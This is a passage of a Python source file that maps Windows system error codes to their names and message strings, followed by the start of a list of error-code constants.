0x00003703: ("ERROR_SXS_CORRUPTION", "The application isolation metadata for this process or thread has become corrupt."),
0x00003704: ("ERROR_SXS_EARLY_DEACTIVATION", "The activation context being deactivated is not the most recently activated one."),
0x00003705: ("ERROR_SXS_INVALID_DEACTIVATION", "The activation context being deactivated is not active for the current thread of execution."),
0x00003706: ("ERROR_SXS_MULTIPLE_DEACTIVATION", "The activation context being deactivated has already been deactivated."),
0x00003707: ("ERROR_SXS_PROCESS_TERMINATION_REQUESTED", "A component used by the isolation facility has requested to terminate the process."),
0x00003708: ("ERROR_SXS_RELEASE_ACTIVATION_CONTEXT", "A kernel mode component is releasing a reference on an activation context."),
0x00003709: ("ERROR_SXS_SYSTEM_DEFAULT_ACTIVATION_CONTEXT_EMPTY", "The activation context of system default assembly could not be generated."),
0x0000370a: ("ERROR_SXS_INVALID_IDENTITY_ATTRIBUTE_VALUE", "The value of an attribute in an identity is not within the legal range."),
0x0000370b: ("ERROR_SXS_INVALID_IDENTITY_ATTRIBUTE_NAME", "The name of an attribute in an identity is not within the legal range."),
0x0000370c: ("ERROR_SXS_IDENTITY_DUPLICATE_ATTRIBUTE", "An identity contains two definitions for the same attribute."),
0x0000370d: ("ERROR_SXS_IDENTITY_PARSE_ERROR", "The identity string is malformed. This may be due to a trailing comma, more than two unnamed attributes, missing attribute name or missing attribute value."),
0x0000370e: ("ERROR_MALFORMED_SUBSTITUTION_STRING", "A string containing localized substitutable content was malformed. Either a dollar sign ($) was followed by something other than a left parenthesis or another dollar sign or an substitution's right parenthesis was not found."),
0x0000370f: ("ERROR_SXS_INCORRECT_PUBLIC_KEY_TOKEN", "The public key token does not correspond to the public key specified."),
0x00003710: ("ERROR_UNMAPPED_SUBSTITUTION_STRING", "A substitution string had no mapping."),
0x00003711: ("ERROR_SXS_ASSEMBLY_NOT_LOCKED", "The component must be locked before making the request."),
0x00003712: ("ERROR_SXS_COMPONENT_STORE_CORRUPT", "The component store has been corrupted."),
0x00003713: ("ERROR_ADVANCED_INSTALLER_FAILED", "An advanced installer failed during setup or servicing."),
0x00003714: ("ERROR_XML_ENCODING_MISMATCH", "The character encoding in the XML declaration did not match the encoding used in the document."),
0x00003715: ("ERROR_SXS_MANIFEST_IDENTITY_SAME_BUT_CONTENTS_DIFFERENT", "The identities of the manifests are identical but their contents are different."),
0x00003716: ("ERROR_SXS_IDENTITIES_DIFFERENT", "The component identities are different."),
0x00003717: ("ERROR_SXS_ASSEMBLY_IS_NOT_A_DEPLOYMENT", "The assembly is not a deployment."),
0x00003718: ("ERROR_SXS_FILE_NOT_PART_OF_ASSEMBLY", "The file is not a part of the assembly."),
0x00003719: ("ERROR_SXS_MANIFEST_TOO_BIG", "The size of the manifest exceeds the maximum allowed."),
0x0000371a: ("ERROR_SXS_SETTING_NOT_REGISTERED", "The setting is not registered."),
0x0000371b: ("ERROR_SXS_TRANSACTION_CLOSURE_INCOMPLETE", "One or more required members of the transaction are not present."),
0x0000371c: ("ERROR_SMI_PRIMITIVE_INSTALLER_FAILED", "The SMI primitive installer failed during setup or servicing."),
0x0000371d: ("ERROR_GENERIC_COMMAND_FAILED", "A generic command executable returned a result that indicates failure."),
0x0000371e: ("ERROR_SXS_FILE_HASH_MISSING", "A component is missing file verification information in its manifest."),
0x00003a98: ("ERROR_EVT_INVALID_CHANNEL_PATH", "The specified channel path is invalid."),
0x00003a99: ("ERROR_EVT_INVALID_QUERY", "The specified query is invalid."),
0x00003a9a: ("ERROR_EVT_PUBLISHER_METADATA_NOT_FOUND", "The publisher metadata cannot be found in the resource."),
0x00003a9b: ("ERROR_EVT_EVENT_TEMPLATE_NOT_FOUND", "The template for an event definition cannot be found in the resource (error = %1)."),
0x00003a9c: ("ERROR_EVT_INVALID_PUBLISHER_NAME", "The specified publisher name is invalid."),
0x00003a9d: ("ERROR_EVT_INVALID_EVENT_DATA", "The event data raised by the publisher is not compatible with the event template definition in the publisher's manifest"),
0x00003a9f: ("ERROR_EVT_CHANNEL_NOT_FOUND", "The specified channel could not be found. Check channel configuration."),
0x00003aa0: ("ERROR_EVT_MALFORMED_XML_TEXT", "The specified xml text was not well-formed. See Extended Error for more details."),
0x00003aa1: ("ERROR_EVT_SUBSCRIPTION_TO_DIRECT_CHANNEL", "The caller is trying to subscribe to a direct channel which is not allowed. The events for a direct channel go directly to a logfile and cannot be subscribed to."),
0x00003aa2: ("ERROR_EVT_CONFIGURATION_ERROR", "Configuration error."),
0x00003aa3: ("ERROR_EVT_QUERY_RESULT_STALE", "The query result is stale / invalid. This may be due to the log being cleared or rolling over after the query result was created. Users should handle this code by releasing the query result object and reissuing the query."),
0x00003aa4: ("ERROR_EVT_QUERY_RESULT_INVALID_POSITION", "Query result is currently at an invalid position."),
0x00003aa5: ("ERROR_EVT_NON_VALIDATING_MSXML", "Registered MSXML doesn't support validation."),
0x00003aa6: ("ERROR_EVT_FILTER_ALREADYSCOPED", "An expression can only be followed by a change of scope operation if it itself evaluates to a node set and is not already part of some other change of scope operation."),
0x00003aa7: ("ERROR_EVT_FILTER_NOTELTSET", "Can't perform a step operation from a term that does not represent an element set."),
0x00003aa8: ("ERROR_EVT_FILTER_INVARG", "Left hand side arguments to binary operators must be either attributes, nodes or variables and right hand side arguments must be constants."),
0x00003aa9: ("ERROR_EVT_FILTER_INVTEST", "A step operation must involve either a node test or, in the case of a predicate, an algebraic expression against which to test each node in the node set identified by the preceeding node set can be evaluated."),
0x00003aaa: ("ERROR_EVT_FILTER_INVTYPE", "This data type is currently unsupported."),
0x00003aab: ("ERROR_EVT_FILTER_PARSEERR", "A syntax error occurred at position %1!d!"),
0x00003aac: ("ERROR_EVT_FILTER_UNSUPPORTEDOP", "This operator is unsupported by this implementation of the filter."),
0x00003aad: ("ERROR_EVT_FILTER_UNEXPECTEDTOKEN", "The token encountered was unexpected."),
0x00003aae: ("ERROR_EVT_INVALID_OPERATION_OVER_ENABLED_DIRECT_CHANNEL", "The requested operation cannot be performed over an enabled direct channel. The channel must first be disabled before performing the requested operation."),
0x00003aaf: ("ERROR_EVT_INVALID_CHANNEL_PROPERTY_VALUE", "Channel property %1!s! contains invalid value. The value has invalid type, is outside of valid range, can't be updated or is not supported by this type of channel."),
0x00003ab0: ("ERROR_EVT_INVALID_PUBLISHER_PROPERTY_VALUE", "Publisher property %1!s! contains invalid value. The value has invalid type, is outside of valid range, can't be updated or is not supported by this type of publisher."),
0x00003ab1: ("ERROR_EVT_CHANNEL_CANNOT_ACTIVATE", "The channel fails to activate."),
0x00003ab2: ("ERROR_EVT_FILTER_TOO_COMPLEX", "The xpath expression exceeded supported complexity. Please symplify it or split it into two or more simple expressions."),
0x00003ab3: ("ERROR_EVT_MESSAGE_NOT_FOUND", "the message resource is present but the message is not found in the string/message table"),
0x00003ab4: ("ERROR_EVT_MESSAGE_ID_NOT_FOUND", "The message id for the desired message could not be found."),
0x00003ab5: ("ERROR_EVT_UNRESOLVED_VALUE_INSERT", "The substitution string for insert index (%1) could not be found."),
0x00003ab6: ("ERROR_EVT_UNRESOLVED_PARAMETER_INSERT", "The description string for parameter reference (%1) could not be found."),
0x00003ab7: ("ERROR_EVT_MAX_INSERTS_REACHED", "The maximum number of replacements has been reached."),
0x00003ab8: ("ERROR_EVT_EVENT_DEFINITION_NOT_FOUND", "The event definition could not be found for event id (%1)."),
0x00003ab9: ("ERROR_EVT_MESSAGE_LOCALE_NOT_FOUND", "The locale specific resource for the desired message is not present."),
0x00003aba: ("ERROR_EVT_VERSION_TOO_OLD", "The resource is too old to be compatible."),
0x00003abb: ("ERROR_EVT_VERSION_TOO_NEW", "The resource is too new to be compatible."),
0x00003abc: ("ERROR_EVT_CANNOT_OPEN_CHANNEL_OF_QUERY", "The channel at index %1!d! of the query can't be opened."),
0x00003abd: ("ERROR_EVT_PUBLISHER_DISABLED", "The publisher has been disabled and its resource is not avaiable. This usually occurs when the publisher is in the process of being uninstalled or upgraded."),
0x00003abe: ("ERROR_EVT_FILTER_OUT_OF_RANGE", "Attempted to create a numeric type that is outside of its valid range."),
0x00003ae8: ("ERROR_EC_SUBSCRIPTION_CANNOT_ACTIVATE", "The subscription fails to activate."),
0x00003ae9: ("ERROR_EC_LOG_DISABLED", "The log of the subscription is in disabled state, and can not be used to forward events to. The log must first be enabled before the subscription can be activated."),
0x00003aea: ("ERROR_EC_CIRCULAR_FORWARDING", "When forwarding events from local machine to itself, the query of the subscription can't contain target log of the subscription."),
0x00003aeb: ("ERROR_EC_CREDSTORE_FULL", "The credential store that is used to save credentials is full."),
0x00003aec: ("ERROR_EC_CRED_NOT_FOUND", "The credential used by this subscription can't be found in credential store."),
0x00003aed: ("ERROR_EC_NO_ACTIVE_CHANNEL", "No active channel is found for the query."),
0x00003afc: ("ERROR_MUI_FILE_NOT_FOUND", "The resource loader failed to find MUI file."),
0x00003afd: ("ERROR_MUI_INVALID_FILE", "The resource loader failed to load MUI file because the file fail to pass validation."),
0x00003afe: ("ERROR_MUI_INVALID_RC_CONFIG", "The RC Manifest is corrupted with garbage data or unsupported version or missing required item."),
0x00003aff: ("ERROR_MUI_INVALID_LOCALE_NAME", "The RC Manifest has invalid culture name."),
0x00003b00: ("ERROR_MUI_INVALID_ULTIMATEFALLBACK_NAME", "The RC Manifest has invalid ultimatefallback name."),
0x00003b01: ("ERROR_MUI_FILE_NOT_LOADED", "The resource loader cache doesn't have loaded MUI entry."),
0x00003b02: ("ERROR_RESOURCE_ENUM_USER_STOP", "User stopped resource enumeration."),
0x00003b03: ("ERROR_MUI_INTLSETTINGS_UILANG_NOT_INSTALLED", "UI language installation failed."),
0x00003b04: ("ERROR_MUI_INTLSETTINGS_INVALID_LOCALE_NAME", "Locale installation failed."),
0x00003b06: ("ERROR_MRM_RUNTIME_NO_DEFAULT_OR_NEUTRAL_RESOURCE", "A resource does not have default or neutral value."),
0x00003b07: ("ERROR_MRM_INVALID_PRICONFIG", "Invalid PRI config file."),
0x00003b08: ("ERROR_MRM_INVALID_FILE_TYPE", "Invalid file type."),
0x00003b09: ("ERROR_MRM_UNKNOWN_QUALIFIER", "Unknown qualifier."),
0x00003b0a: ("ERROR_MRM_INVALID_QUALIFIER_VALUE", "Invalid qualifier value."),
0x00003b0b: ("ERROR_MRM_NO_CANDIDATE", "No Candidate found."),
0x00003b0c: ("ERROR_MRM_NO_MATCH_OR_DEFAULT_CANDIDATE", "The ResourceMap or NamedResource has an item that does not have default or neutral resource.."),
0x00003b0d: ("ERROR_MRM_RESOURCE_TYPE_MISMATCH", "Invalid ResourceCandidate type."),
0x00003b0e: ("ERROR_MRM_DUPLICATE_MAP_NAME", "Duplicate Resource Map."),
0x00003b0f: ("ERROR_MRM_DUPLICATE_ENTRY", "Duplicate Entry."),
0x00003b10: ("ERROR_MRM_INVALID_RESOURCE_IDENTIFIER", "Invalid Resource Identifier."),
0x00003b11: ("ERROR_MRM_FILEPATH_TOO_LONG", "Filepath too long."),
0x00003b12: ("ERROR_MRM_UNSUPPORTED_DIRECTORY_TYPE", "Unsupported directory type."),
0x00003b16: ("ERROR_MRM_INVALID_PRI_FILE", "Invalid PRI File."),
0x00003b17: ("ERROR_MRM_NAMED_RESOURCE_NOT_FOUND", "NamedResource Not Found."),
0x00003b1f: ("ERROR_MRM_MAP_NOT_FOUND", "ResourceMap Not Found."),
0x00003b20: ("ERROR_MRM_UNSUPPORTED_PROFILE_TYPE", "Unsupported MRT profile type."),
0x00003b21: ("ERROR_MRM_INVALID_QUALIFIER_OPERATOR", "Invalid qualifier operator."),
0x00003b22: ("ERROR_MRM_INDETERMINATE_QUALIFIER_VALUE", "Unable to determine qualifier value or qualifier value has not been set."),
0x00003b23: ("ERROR_MRM_AUTOMERGE_ENABLED", "Automerge is enabled in the PRI file."),
0x00003b24: ("ERROR_MRM_TOO_MANY_RESOURCES", "Too many resources defined for package."),
0x00003b60: ("ERROR_MCA_INVALID_CAPABILITIES_STRING", "The monitor returned a DDC/CI capabilities string that did not comply with the ACCESS.bus 3.0, DDC/CI 1.1 or MCCS 2 Revision 1 specification."),
0x00003b61: ("ERROR_MCA_INVALID_VCP_VERSION", "The monitor's VCP Version (0xDF) VCP code returned an invalid version value."),
0x00003b62: ("ERROR_MCA_MONITOR_VIOLATES_MCCS_SPECIFICATION", "The monitor does not comply with the MCCS specification it claims to support."),
0x00003b63: ("ERROR_MCA_MCCS_VERSION_MISMATCH", "The MCCS version in a monitor's mccs_ver capability does not match the MCCS version the monitor reports when the VCP Version (0xDF) VCP code is used."),
0x00003b64: ("ERROR_MCA_UNSUPPORTED_MCCS_VERSION", "The Monitor Configuration API only works with monitors that support the MCCS 1.0 specification, MCCS 2.0 specification or the MCCS 2.0 Revision 1 specification."),
0x00003b65: ("ERROR_MCA_INTERNAL_ERROR", "An internal Monitor Configuration API error occurred."),
0x00003b66: ("ERROR_MCA_INVALID_TECHNOLOGY_TYPE_RETURNED", "The monitor returned an invalid monitor technology type. CRT, Plasma and LCD (TFT) are examples of monitor technology types. This error implies that the monitor violated the MCCS 2.0 or MCCS 2.0 Revision 1 specification."),
0x00003b67: ("ERROR_MCA_UNSUPPORTED_COLOR_TEMPERATURE", "The caller of SetMonitorColorTemperature specified a color temperature that the current monitor did not support. This error implies that the monitor violated the MCCS 2.0 or MCCS 2.0 Revision 1 specification."),
0x00003b92: ("ERROR_AMBIGUOUS_SYSTEM_DEVICE", "The requested system device cannot be identified due to multiple indistinguishable devices potentially matching the identification criteria."),
0x00003bc3: ("ERROR_SYSTEM_DEVICE_NOT_FOUND", "The requested system device cannot be found."),
0x00003bc4: ("ERROR_HASH_NOT_SUPPORTED", "Hash generation for the specified hash version and hash type is not enabled on the server."),
0x00003bc5: ("ERROR_HASH_NOT_PRESENT", "The hash requested from the server is not available or no longer valid."),
0x00003bd9: ("ERROR_SECONDARY_IC_PROVIDER_NOT_REGISTERED", "The secondary interrupt controller instance that manages the specified interrupt is not registered."),
0x00003bda: ("ERROR_GPIO_CLIENT_INFORMATION_INVALID", "The information supplied by the GPIO client driver is invalid."),
0x00003bdb: ("ERROR_GPIO_VERSION_NOT_SUPPORTED", "The version specified by the GPIO client driver is not supported."),
0x00003bdc: ("ERROR_GPIO_INVALID_REGISTRATION_PACKET", "The registration packet supplied by the GPIO client driver is not valid."),
0x00003bdd: ("ERROR_GPIO_OPERATION_DENIED", "The requested operation is not suppported for the specified handle."),
0x00003bde: ("ERROR_GPIO_INCOMPATIBLE_CONNECT_MODE", "The requested connect mode conflicts with an existing mode on one or more of the specified pins."),
0x00003bdf: ("ERROR_GPIO_INTERRUPT_ALREADY_UNMASKED", "The interrupt requested to be unmasked is not masked."),
0x00003c28: ("ERROR_CANNOT_SWITCH_RUNLEVEL", "The requested run level switch cannot be completed successfully."),
0x00003c29: ("ERROR_INVALID_RUNLEVEL_SETTING", "The service has an invalid run level setting. The run level for a service"),
0x00003c2a: ("ERROR_RUNLEVEL_SWITCH_TIMEOUT", "The requested run level switch cannot be completed successfully since"),
0x00003c2b: ("ERROR_RUNLEVEL_SWITCH_AGENT_TIMEOUT", "A run level switch agent did not respond within the specified timeout."),
0x00003c2c: ("ERROR_RUNLEVEL_SWITCH_IN_PROGRESS", "A run level switch is currently in progress."),
0x00003c2d: ("ERROR_SERVICES_FAILED_AUTOSTART", "One or more services failed to start during the service startup phase of a run level switch."),
0x00003c8d: ("ERROR_COM_TASK_STOP_PENDING", "The task stop request cannot be completed immediately since"),
0x00003cf0: ("ERROR_INSTALL_OPEN_PACKAGE_FAILED", "Package could not be opened."),
0x00003cf1: ("ERROR_INSTALL_PACKAGE_NOT_FOUND", "Package was not found."),
0x00003cf2: ("ERROR_INSTALL_INVALID_PACKAGE", "Package data is invalid."),
0x00003cf3: ("ERROR_INSTALL_RESOLVE_DEPENDENCY_FAILED", "Package failed updates, dependency or conflict validation."),
0x00003cf4: ("ERROR_INSTALL_OUT_OF_DISK_SPACE", "There is not enough disk space on your computer. Please free up some space and try again."),
0x00003cf5: ("ERROR_INSTALL_NETWORK_FAILURE", "There was a problem downloading your product."),
0x00003cf6: ("ERROR_INSTALL_REGISTRATION_FAILURE", "Package could not be registered."),
0x00003cf7: ("ERROR_INSTALL_DEREGISTRATION_FAILURE", "Package could not be unregistered."),
0x00003cf8: ("ERROR_INSTALL_CANCEL", "User cancelled the install request."),
0x00003cf9: ("ERROR_INSTALL_FAILED", "Install failed. Please contact your software vendor."),
0x00003cfa: ("ERROR_REMOVE_FAILED", "Removal failed. Please contact your software vendor."),
0x00003cfb: ("ERROR_PACKAGE_ALREADY_EXISTS", "The provided package is already installed, and reinstallation of the package was blocked. Check the AppXDeployment-Server event log for details."),
0x00003cfc: ("ERROR_NEEDS_REMEDIATION", "The application cannot be started. Try reinstalling the application to fix the problem."),
0x00003cfd: ("ERROR_INSTALL_PREREQUISITE_FAILED", "A Prerequisite for an install could not be satisfied."),
0x00003cfe: ("ERROR_PACKAGE_REPOSITORY_CORRUPTED", "The package repository is corrupted."),
0x00003cff: ("ERROR_INSTALL_POLICY_FAILURE", "To install this application you need either a Windows developer license or a sideloading-enabled system."),
0x00003d00: ("ERROR_PACKAGE_UPDATING", "The application cannot be started because it is currently updating."),
0x00003d01: ("ERROR_DEPLOYMENT_BLOCKED_BY_POLICY", "The package deployment operation is blocked by policy. Please contact your system administrator."),
0x00003d02: ("ERROR_PACKAGES_IN_USE", "The package could not be installed because resources it modifies are currently in use."),
0x00003d03: ("ERROR_RECOVERY_FILE_CORRUPT", "The package could not be recovered because necessary data for recovery have been corrupted."),
0x00003d04: ("ERROR_INVALID_STAGED_SIGNATURE", "The signature is invalid. To register in developer mode, AppxSignature.p7x and AppxBlockMap.xml must be valid or should not be present."),
0x00003d05: ("ERROR_DELETING_EXISTING_APPLICATIONDATA_STORE_FAILED", "An error occurred while deleting the package's previously existing application data."),
0x00003d06: ("ERROR_INSTALL_PACKAGE_DOWNGRADE", "The package could not be installed because a higher version of this package is already installed."),
0x00003d07: ("ERROR_SYSTEM_NEEDS_REMEDIATION", "An error in a system binary was detected. Try refreshing the PC to fix the problem."),
0x00003d08: ("ERROR_APPX_INTEGRITY_FAILURE_CLR_NGEN", "A corrupted CLR NGEN binary was detected on the system."),
0x00003d09: ("ERROR_RESILIENCY_FILE_CORRUPT", "The operation could not be resumed because necessary data for recovery have been corrupted."),
0x00003d0a: ("ERROR_INSTALL_FIREWALL_SERVICE_NOT_RUNNING", "The package could not be installed because the Windows Firewall service is not running. Enable the Windows Firewall service and try again."),
0x00003d54: ("APPMODEL_ERROR_NO_PACKAGE", "The process has no package identity."),
0x00003d55: ("APPMODEL_ERROR_PACKAGE_RUNTIME_CORRUPT", "The package runtime information is corrupted."),
0x00003d56: ("APPMODEL_ERROR_PACKAGE_IDENTITY_CORRUPT", "The package identity is corrupted."),
0x00003d57: ("APPMODEL_ERROR_NO_APPLICATION", "The process has no application identity."),
0x00003db8: ("ERROR_STATE_LOAD_STORE_FAILED", "Loading the state store failed."),
0x00003db9: ("ERROR_STATE_GET_VERSION_FAILED", "Retrieving the state version for the application failed."),
0x00003dba: ("ERROR_STATE_SET_VERSION_FAILED", "Setting the state version for the application failed."),
0x00003dbb: ("ERROR_STATE_STRUCTURED_RESET_FAILED", "Resetting the structured state of the application failed."),
0x00003dbc: ("ERROR_STATE_OPEN_CONTAINER_FAILED", "State Manager failed to open the container."),
0x00003dbd: ("ERROR_STATE_CREATE_CONTAINER_FAILED", "State Manager failed to create the container."),
0x00003dbe: ("ERROR_STATE_DELETE_CONTAINER_FAILED", "State Manager failed to delete the container."),
0x00003dbf: ("ERROR_STATE_READ_SETTING_FAILED", "State Manager failed to read the setting."),
0x00003dc0: ("ERROR_STATE_WRITE_SETTING_FAILED", "State Manager failed to write the setting."),
0x00003dc1: ("ERROR_STATE_DELETE_SETTING_FAILED", "State Manager failed to delete the setting."),
0x00003dc2: ("ERROR_STATE_QUERY_SETTING_FAILED", "State Manager failed to query the setting."),
0x00003dc3: ("ERROR_STATE_READ_COMPOSITE_SETTING_FAILED", "State Manager failed to read the composite setting."),
0x00003dc4: ("ERROR_STATE_WRITE_COMPOSITE_SETTING_FAILED", "State Manager failed to write the composite setting."),
0x00003dc5: ("ERROR_STATE_ENUMERATE_CONTAINER_FAILED", "State Manager failed to enumerate the containers."),
0x00003dc6: ("ERROR_STATE_ENUMERATE_SETTINGS_FAILED", "State Manager failed to enumerate the settings."),
0x00003dc7: ("ERROR_STATE_COMPOSITE_SETTING_VALUE_SIZE_LIMIT_EXCEEDED", "The size of the state manager composite setting value has exceeded the limit."),
0x00003dc8: ("ERROR_STATE_SETTING_VALUE_SIZE_LIMIT_EXCEEDED", "The size of the state manager setting value has exceeded the limit."),
0x00003dc9: ("ERROR_STATE_SETTING_NAME_SIZE_LIMIT_EXCEEDED", "The length of the state manager setting name has exceeded the limit."),
0x00003dca: ("ERROR_STATE_CONTAINER_NAME_SIZE_LIMIT_EXCEEDED", "The length of the state manager container name has exceeded the limit."),
0x00003de1: ("ERROR_API_UNAVAILABLE", "This API cannot be used in the context of the caller's application type."),
0x00003df5: ("STORE_ERROR_UNLICENSED", "This PC does not have a valid license for the application or product."),
0x00003df6: ("STORE_ERROR_UNLICENSED_USER", "The authenticated user does not have a valid license for the application or product."),
}
# Error Codes
ERROR_SUCCESS = 0x00000000
ERROR_INVALID_FUNCTION = 0x00000001
ERROR_FILE_NOT_FOUND = 0x00000002
ERROR_PATH_NOT_FOUND = 0x00000003
ERROR_TOO_MANY_OPEN_FILES = 0x00000004
ERROR_ACCESS_DENIED = 0x00000005
ERROR_INVALID_HANDLE = 0x00000006
ERROR_ARENA_TRASHED = 0x00000007
ERROR_NOT_ENOUGH_MEMORY = 0x00000008
ERROR_INVALID_BLOCK = 0x00000009
ERROR_BAD_ENVIRONMENT = 0x0000000a
ERROR_BAD_FORMAT = 0x0000000b
ERROR_INVALID_ACCESS = 0x0000000c
ERROR_INVALID_DATA = 0x0000000d
ERROR_OUTOFMEMORY = 0x0000000e
ERROR_INVALID_DRIVE = 0x0000000f
ERROR_CURRENT_DIRECTORY = 0x00000010
ERROR_NOT_SAME_DEVICE = 0x00000011
ERROR_NO_MORE_FILES = 0x00000012
ERROR_WRITE_PROTECT = 0x00000013
ERROR_BAD_UNIT = 0x00000014
ERROR_NOT_READY = 0x00000015
ERROR_BAD_COMMAND = 0x00000016
ERROR_CRC = 0x00000017
ERROR_BAD_LENGTH = 0x00000018
ERROR_SEEK = 0x00000019
ERROR_NOT_DOS_DISK = 0x0000001a
ERROR_SECTOR_NOT_FOUND = 0x0000001b
ERROR_OUT_OF_PAPER = 0x0000001c
ERROR_WRITE_FAULT = 0x0000001d
ERROR_READ_FAULT = 0x0000001e
ERROR_GEN_FAILURE = 0x0000001f
ERROR_SHARING_VIOLATION = 0x00000020
ERROR_LOCK_VIOLATION = 0x00000021
ERROR_WRONG_DISK = 0x00000022
ERROR_SHARING_BUFFER_EXCEEDED = 0x00000024
ERROR_HANDLE_EOF = 0x00000026
ERROR_HANDLE_DISK_FULL = 0x00000027
ERROR_NOT_SUPPORTED = 0x00000032
ERROR_REM_NOT_LIST = 0x00000033
ERROR_DUP_NAME = 0x00000034
ERROR_BAD_NETPATH = 0x00000035
ERROR_NETWORK_BUSY = 0x00000036
ERROR_DEV_NOT_EXIST = 0x00000037
ERROR_TOO_MANY_CMDS = 0x00000038
ERROR_ADAP_HDW_ERR = 0x00000039
ERROR_BAD_NET_RESP = 0x0000003a
ERROR_UNEXP_NET_ERR = 0x0000003b
ERROR_BAD_REM_ADAP = 0x0000003c
ERROR_PRINTQ_FULL = 0x0000003d
ERROR_NO_SPOOL_SPACE = 0x0000003e
ERROR_PRINT_CANCELLED = 0x0000003f
ERROR_NETNAME_DELETED = 0x00000040
ERROR_NETWORK_ACCESS_DENIED = 0x00000041
ERROR_BAD_DEV_TYPE = 0x00000042
ERROR_BAD_NET_NAME = 0x00000043
ERROR_TOO_MANY_NAMES = 0x00000044
ERROR_TOO_MANY_SESS = 0x00000045
ERROR_SHARING_PAUSED = 0x00000046
ERROR_REQ_NOT_ACCEP = 0x00000047
ERROR_REDIR_PAUSED = 0x00000048
ERROR_FILE_EXISTS = 0x00000050
ERROR_CANNOT_MAKE = 0x00000052
ERROR_FAIL_I24 = 0x00000053
ERROR_OUT_OF_STRUCTURES = 0x00000054
ERROR_ALREADY_ASSIGNED = 0x00000055
ERROR_INVALID_PASSWORD = 0x00000056
ERROR_INVALID_PARAMETER = 0x00000057
ERROR_NET_WRITE_FAULT = 0x00000058
ERROR_NO_PROC_SLOTS = 0x00000059
ERROR_TOO_MANY_SEMAPHORES = 0x00000064
ERROR_EXCL_SEM_ALREADY_OWNED = 0x00000065
ERROR_SEM_IS_SET = 0x00000066
ERROR_TOO_MANY_SEM_REQUESTS = 0x00000067
ERROR_INVALID_AT_INTERRUPT_TIME = 0x00000068
ERROR_SEM_OWNER_DIED = 0x00000069
ERROR_SEM_USER_LIMIT = 0x0000006a
ERROR_DISK_CHANGE = 0x0000006b
ERROR_DRIVE_LOCKED = 0x0000006c
ERROR_BROKEN_PIPE = 0x0000006d
ERROR_OPEN_FAILED = 0x0000006e
ERROR_BUFFER_OVERFLOW = 0x0000006f
ERROR_DISK_FULL = 0x00000070
ERROR_NO_MORE_SEARCH_HANDLES = 0x00000071
ERROR_INVALID_TARGET_HANDLE = 0x00000072
ERROR_INVALID_CATEGORY = 0x00000075
ERROR_INVALID_VERIFY_SWITCH = 0x00000076
ERROR_BAD_DRIVER_LEVEL = 0x00000077
ERROR_CALL_NOT_IMPLEMENTED = 0x00000078
ERROR_SEM_TIMEOUT = 0x00000079
ERROR_INSUFFICIENT_BUFFER = 0x0000007a
ERROR_INVALID_NAME = 0x0000007b
ERROR_INVALID_LEVEL = 0x0000007c
ERROR_NO_VOLUME_LABEL = 0x0000007d
ERROR_MOD_NOT_FOUND = 0x0000007e
ERROR_PROC_NOT_FOUND = 0x0000007f
ERROR_WAIT_NO_CHILDREN = 0x00000080
ERROR_CHILD_NOT_COMPLETE = 0x00000081
ERROR_DIRECT_ACCESS_HANDLE = 0x00000082
ERROR_NEGATIVE_SEEK = 0x00000083
ERROR_SEEK_ON_DEVICE = 0x00000084
ERROR_IS_JOIN_TARGET = 0x00000085
ERROR_IS_JOINED = 0x00000086
ERROR_IS_SUBSTED = 0x00000087
ERROR_NOT_JOINED = 0x00000088
ERROR_NOT_SUBSTED = 0x00000089
ERROR_JOIN_TO_JOIN = 0x0000008a
ERROR_SUBST_TO_SUBST = 0x0000008b
ERROR_JOIN_TO_SUBST = 0x0000008c
ERROR_SUBST_TO_JOIN = 0x0000008d
ERROR_BUSY_DRIVE = 0x0000008e
ERROR_SAME_DRIVE = 0x0000008f
ERROR_DIR_NOT_ROOT = 0x00000090
ERROR_DIR_NOT_EMPTY = 0x00000091
ERROR_IS_SUBST_PATH = 0x00000092
ERROR_IS_JOIN_PATH = 0x00000093
ERROR_PATH_BUSY = 0x00000094
ERROR_IS_SUBST_TARGET = 0x00000095
ERROR_SYSTEM_TRACE = 0x00000096
ERROR_INVALID_EVENT_COUNT = 0x00000097
ERROR_TOO_MANY_MUXWAITERS = 0x00000098
ERROR_INVALID_LIST_FORMAT = 0x00000099
ERROR_LABEL_TOO_LONG = 0x0000009a
ERROR_TOO_MANY_TCBS = 0x0000009b
ERROR_SIGNAL_REFUSED = 0x0000009c
ERROR_DISCARDED = 0x0000009d
ERROR_NOT_LOCKED = 0x0000009e
ERROR_BAD_THREADID_ADDR = 0x0000009f
ERROR_BAD_ARGUMENTS = 0x000000a0
ERROR_BAD_PATHNAME = 0x000000a1
ERROR_SIGNAL_PENDING = 0x000000a2
ERROR_MAX_THRDS_REACHED = 0x000000a4
ERROR_LOCK_FAILED = 0x000000a7
ERROR_BUSY = 0x000000aa
ERROR_DEVICE_SUPPORT_IN_PROGRESS = 0x000000ab
ERROR_CANCEL_VIOLATION = 0x000000ad
ERROR_ATOMIC_LOCKS_NOT_SUPPORTED = 0x000000ae
ERROR_INVALID_SEGMENT_NUMBER = 0x000000b4
ERROR_INVALID_ORDINAL = 0x000000b6
ERROR_ALREADY_EXISTS = 0x000000b7
ERROR_INVALID_FLAG_NUMBER = 0x000000ba
ERROR_SEM_NOT_FOUND = 0x000000bb
ERROR_INVALID_STARTING_CODESEG = 0x000000bc
ERROR_INVALID_STACKSEG = 0x000000bd
ERROR_INVALID_MODULETYPE = 0x000000be
ERROR_INVALID_EXE_SIGNATURE = 0x000000bf
ERROR_EXE_MARKED_INVALID = 0x000000c0
ERROR_BAD_EXE_FORMAT = 0x000000c1
ERROR_ITERATED_DATA_EXCEEDS_64k = 0x000000c2
ERROR_INVALID_MINALLOCSIZE = 0x000000c3
ERROR_DYNLINK_FROM_INVALID_RING = 0x000000c4
ERROR_IOPL_NOT_ENABLED = 0x000000c5
ERROR_INVALID_SEGDPL = 0x000000c6
ERROR_AUTODATASEG_EXCEEDS_64k = 0x000000c7
ERROR_RING2SEG_MUST_BE_MOVABLE = 0x000000c8
ERROR_RELOC_CHAIN_XEEDS_SEGLIM = 0x000000c9
ERROR_INFLOOP_IN_RELOC_CHAIN = 0x000000ca
ERROR_ENVVAR_NOT_FOUND = 0x000000cb
ERROR_NO_SIGNAL_SENT = 0x000000cd
ERROR_FILENAME_EXCED_RANGE = 0x000000ce
ERROR_RING2_STACK_IN_USE = 0x000000cf
ERROR_META_EXPANSION_TOO_LONG = 0x000000d0
ERROR_INVALID_SIGNAL_NUMBER = 0x000000d1
ERROR_THREAD_1_INACTIVE = 0x000000d2
ERROR_LOCKED = 0x000000d4
ERROR_TOO_MANY_MODULES = 0x000000d6
ERROR_NESTING_NOT_ALLOWED = 0x000000d7
